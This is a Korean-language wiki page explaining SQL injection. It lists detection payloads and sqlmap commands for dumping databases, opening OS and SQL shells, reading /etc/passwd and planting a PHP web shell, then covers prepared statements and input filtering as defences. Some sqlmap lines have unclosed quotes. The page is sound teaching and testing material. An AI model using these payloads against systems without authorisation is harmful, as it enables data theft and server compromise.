SQL Injection

Introduction

SQL Injection은 공격자가 Application에서 사용되는 SQL Query 벗어나 의도한 SQL Query를 수행할 수 있는 공격 방법입니다. 일반적으로 SQL Query로 연결되는 사용자 입력 구간이 주로 취약한 부분이며, 이를 통해 DB내 다른 데이터를 조회하거나, 설정에 따라 시스템 권한까지 탈취할 수 있는 취약점입니다.

Offensive techniques

Detect

Error base

잘못된 SQL Query를 처리하려고 할 때 발생하는 에러를 통해서 SQL Injection의 가능성을 확인할 수 있습니다.

Warning: mysql_fetch_array() expects parameter 1 to be resource, null given in /hj/var/www/listproducts.php on line 74

자세한 에러가 나타나는 경우 이를 기반으로 어떤 SQL Query 구문이 구성 되었는지, 공격자가 추측하고 이를 기반으로 원하는 SQL Query를 실행할 수 있도록 공격코드를 구성할 수 있습니다.

Payload: param=GTID_SUBSET(CONCAT(0x7178707871,(SELECT (ELT(7761=7761,1))),0x716b767871),7761)

Boolean base

SQL 쿼리를 통해 임의로 false나 true가 발생하도록 하여 SQL Injection의 여부를 체크할 수 있습니다.

Payload: param=' or 1=1
=> {"name":"alice"}

Payload: param=' or 1=2
=> {"name":""}

[blind] Timinig base

서버에서 에러 핸들링을 하여 사용자에게 에러를 보여주지 않는 경우, 또는 Boolean 여부를 알 수 없는 환경에선 쉽게 공격의 성공 유무를 판단할 수 없습니다. 그래서 sleep() 구문 등을 이용하여 서버에서 Delay 되는 time을 계산하고, 실제 쿼리가 실행됬는지 체크할 수 있습니다.

Payload: param=(CASE WHEN (9835=9835) THEN SLEEP(5) ELSE 9835 END)

Detect with SQLMap

SQLMap은 SQL Injection을 탐지하고, Exploit 하기 위한 도구입니다. 이를 이용하면 빠르게 여러 페이로드를 기반으로 테스트할 수 있습니다. 자세한 내용은 아래 sqlmap 컬리넌 위키를 참고해주세요.

https://www.hahwul.com/cullinan/sqlmap/

Exploitation

All databases - sqlmap

sqlmap -u "https://google.com/?q=1 --dbs

All tables in db - sqlmap

sqlmap -u "https://google.com/?q=1 --tables -D "DB-NAME"

All columns in table - sqlmap

sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -columns

Dumped contents - sqlmap

sqlmap -u "https://google.com/?q=1 -D "DB-NAME" -T "TABLE-NAME" -dump

Get Shell - sqlmap

Get OS Shell

sqlmap -u "https://google.com/?q=1 --os-shell

Get SQL Shell - sqlmap

sqlmap -u "https://google.com/?q=1 --sql-shell

R/W File - sqlmap

Read File

sqlmap -u "https://google.com/?q=1" --file-read '/etc/passwd'

Write File

sqlmap -u "https://google.com/?q=1" --file-write './shell.php' --file-dest '/apache/public/shell.php'

Bypass protection

XSS와 동일하게 Encoding, Bypass WAF등 여러가지 우회 방법들이 존재합니다. 자세한 내용은 PayloadAllTheThings를 참고해주세요!

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Defensive techniques

PreparedStatement

PreparedStatement는 DB Query를 처리하기 전에 미리 준비한 Statement입니다. PreparedStatement를 사용하면 기존에 미리 정의한 패턴의 SQL Query를 벗어날 수 없게 되어 SQL Injection에 효과적으로 대응할 수 있습니다.

Golang의 PreparedStatement

// AlbumByID retrieves the specified album.
func AlbumByID(id int) (Album, error) {
    // Define a prepared statement. You'd typically define the statement
    // elsewhere and save it for use in functions such as this one.
    stmt, err := db.Prepare("SELECT * FROM album WHERE id = ?")
    if err != nil {
        log.Fatal(err)
    }

    var album Album

    // Execute the prepared statement, passing in an id value for the
    // parameter whose placeholder is ?
    err := stmt.QueryRow(id).Scan(&album.ID, &album.Title, &album.Artist, &album.Price, &album.Quantity)
    if err != nil {
        if err == sql.ErrNoRows {
            // Handle the case of no rows returned.
        }
        return album, err
    }
    return album, nil
}

User Input Protection

만약 PreparedStatement와 같이 미리 정의된 Statement, 또는 Framework의 기능들을 이용할 수 없는 경우 사용자로 부터 받아 사용하는 입력 구간에는 모두 SQL Injection에 대한 Protection이 필요합니다.

DB Query로 연결되는 데이터는 미리 예측 가능한 타입의 값만 받아야하며, SQL Injection에 사용될 수 있는 특수문자등은 제한하는 것이 좋습니다.

Tools

Articles

References